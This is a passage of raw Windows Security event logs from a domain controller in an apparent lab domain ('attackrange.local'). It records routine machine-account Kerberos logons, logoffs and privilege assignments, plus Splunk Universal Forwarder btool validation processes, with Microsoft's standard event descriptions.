Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250029 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF9784 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250028 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF9784 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64377 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250027 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF9784 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250026 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF9723 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250025 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF9723 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64376 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250024 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF9723 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250023 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF96BC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250022 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF96BC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64375 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250021 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF96BC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250020 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF965B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250019 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF965B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64374 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250018 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF965B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250054 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1178 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250053 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1164 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1150 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250052 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1150 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250051 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x113c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1128 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250050 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1128 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250049 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1114 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1100 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250048 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1100 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250047 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFA173 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250046 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFA173 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64381 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250045 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFA173 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250044 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFA10B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250043 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFA10B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64380 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250042 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFA10B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:08 PM -LogName=Security 